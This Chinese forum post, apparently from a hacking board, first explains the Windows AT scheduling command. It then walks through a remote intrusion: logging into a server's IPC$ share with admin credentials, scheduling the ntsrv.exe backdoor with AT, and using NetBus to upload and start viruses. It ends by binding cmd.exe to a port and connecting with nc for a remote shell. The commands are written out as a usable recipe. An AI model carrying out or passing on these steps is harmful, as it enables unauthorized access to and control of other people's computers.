發新話題
打印

[分享] 基礎網路命令 4

基礎網路命令 4

at: 排定在特定的日期和時間運行某些命令和程序。



運行 AT 命令之前必須先啟動 Schedule 服務。瞧,現炒就得現賣,剛學了net命令,但這個start命令我可沒詳述,自已看看幫助文件,摸索一下各種命令的用法吧。

C:》net start schedule
Schedule 正在啟動服務.....
Schedulw 服務啟動成功。

AT 〔computername〕 〔 〔id〕 〔/DELETE〕 /DELETE 〔/YES〕〕
AT 〔computername〕 time 〔/INTERACTIVE〕
〔 /EVERY:date〔,...〕 /NEXT:date〔,...〕〕 "command"


computername 指定遠程計算機。 如果省略這個參數
命令會被排定在本機上運行。
id 指定給排定進度命令的識別號。

/delete 刪除某個已排定進度的命令。如果省略標識,計算機上所有已排定進度的
命令都會被刪除。
/yes 用於刪除所有作業,且不想在運行刪除時顯示確認
信息 。
time 指定命令運行的時間。
/interactive 允許作業在運行時,與用戶通過桌面交互。

/every:date〔,...〕 指定在每週或每月的某日 (或某幾日) 運行命令。
如果省略日期,則默認為在每月的本日運行。

/next:date〔,...〕 指定在下一個指定日期 (如,下週三),運行命令。
如果省略日期,則默認為在每月的本日運行。

"command" 準備運行的 Windows NT 命令或批處理文件。

知道了如何使用AT,再來看看如何在遠程NT上運行ntsrv.exe:
1 利用管理員登陸到目的服務器,方法為: net use x.x.x.xipc¥ "adminpwd" /user:"adminuser"
2 利用ntsrv.exe啟動遠程: netsvc x.x.x.x schedule /start
3 利用AT.EXE在遠程服務器設置程序定時運行,當然最快運行最理想,所以,你可以用letmein.exe得到服務器的時間,然後:
at x.x.x.x 00:00 ntsrv.exe /port:64321
其中00:00要改為用letmein.exe得回來的具體時間+一點容量,等一會後,再在本地啟動netbus.exe,鍵入目的服務器得ip地址或hostname,連接!比如第一種方法,你想要在目的服務器運行諸如病毒之類的東東,可以利用netbus得上傳功能,將各種「大補丸」上傳至目的服務器,再用netbus的"Start program",鍵入完整路徑,就ok了!第二種方法是利用netbus的「App redirect」功能,啟動遠程telnet服務,如下:在netbus中擊「App redirect」,鍵入"C:》winntsystem32cmd.exe",Port為:4321,服務就啟動了,然後在本地運行:nc x.x.x.x 4321,出現dos啟動的畫面就表示連接成功:

TOP

發新話題